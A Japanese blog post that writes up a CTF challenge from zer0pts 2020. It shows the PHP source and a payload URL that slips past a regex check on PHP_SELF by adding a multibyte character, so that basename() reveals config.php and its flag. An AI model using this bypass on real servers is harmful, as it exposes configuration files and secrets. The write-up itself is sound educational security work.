はまやんはまやんはまやん

hamayanhamayan's blog

Can you guess it? [zer0pts CTF 2020]

https://ctftime.org/task/10630

解説

<?php
include 'config.php'; // FLAG is defined in config.php

// これは何?なんでこんなことしてるの?
// http://3.112.201.75:8003/index.php/config.php?source をすると、ここではじかれる。
// んーここが突破できないー
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  // PHP_SELFには経由でconfig.phpを表示させるんだろう
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

// これ以降に脆弱性は認められない

って感じでコンテストが終わった。

なるほど?

http://localhost/index.php/config.php/あ?source
これをやると

$_SERVER['PHP_SELF'] = /index.php/config.php/あ
basename($_SERVER['PHP_SELF']) = config.php

こんな感じになるので、正規表現チェックを回避しつつ、目的のファイルにアクセスできる。